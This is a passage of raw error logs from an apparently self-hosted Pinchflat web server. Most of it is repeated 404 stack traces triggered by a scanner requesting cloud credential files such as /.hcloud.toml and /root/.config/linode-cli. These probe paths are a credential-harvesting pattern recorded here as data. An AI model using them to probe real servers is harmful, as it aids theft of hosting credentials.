NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubu (truncated) 15:22:11.489 [info] GET /.hcloud.toml 15:22:11.490 [debug] QUERY OK source="settings" db=0.0ms idle=304.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.490 [debug] QUERY OK source="settings" db=0.0ms idle=303.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.490 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:11.490 [error] #PID<0.9844.0> running PinchflatWeb.Endpoint (connection #PID<0.9843.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.hcloud.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hcloud (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9843.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hcloud.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9844.0>, params: %{}, path_info: [".hcloud"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.hcloud.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCJa666yLnHAAAImD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9843.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hcloud.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hcloud (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9843.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hcloud.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9844.0>, params: %{}, path_info: [".hcloud"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.hcloud.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCJa666yLnHAAAImD"} ], (truncated) 15:22:11.724 [info] GET /hcloud.yml 15:22:11.724 [debug] QUERY OK source="settings" db=0.1ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.724 [debug] QUERY OK source="settings" db=0.0ms idle=474.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.724 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:11.725 [error] #PID<0.9846.0> running PinchflatWeb.Endpoint (connection #PID<0.9845.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /hcloud.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /hcloud (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hcloud.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9846.0>, params: %{}, path_info: ["hcloud"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/hcloud.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCKSwHN6mj-0AAInD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hcloud.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /hcloud (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hcloud.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9846.0>, params: %{}, path_info: ["hcloud"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/hcloud.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCKSwHN6mj-0AAInD"} ], scheme: :http (truncated) 15:22:11.958 [info] GET /root/.config/linode-cli 15:22:11.959 [debug] QUERY OK source="settings" db=0.1ms idle=468.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.959 [debug] QUERY OK source="settings" db=0.0ms idle=468.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:11.959 [error] #PID<0.9848.0> running PinchflatWeb.Endpoint (connection #PID<0.9847.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.config/linode-cli ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/linode-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9847.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55112}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9848.0>, params: %{}, path_info: ["root", ".config", "linode-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/linode-cli", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCLKwVc8RdJ0AAeEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9847.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55112}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/linode-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9847.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55112}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9848.0>, params: %{}, path_info: ["root", ".config", "linode-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/linode-cli", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:22:12.195 [info] GET /home/ubuntu/.config/linode-cli 15:22:12.195 [debug] QUERY OK source="settings" db=0.1ms idle=663.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.195 [debug] QUERY OK source="settings" db=0.0ms idle=470.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.195 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:12.195 [error] #PID<0.9850.0> running PinchflatWeb.Endpoint (connection #PID<0.9849.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ubuntu/.config/linode-cli ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/linode-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9849.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55128}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9850.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "linode-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.config/linode-cli", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCMDCbQ2QcB8AAIoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9849.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55128}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/linode-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9849.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55128}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", 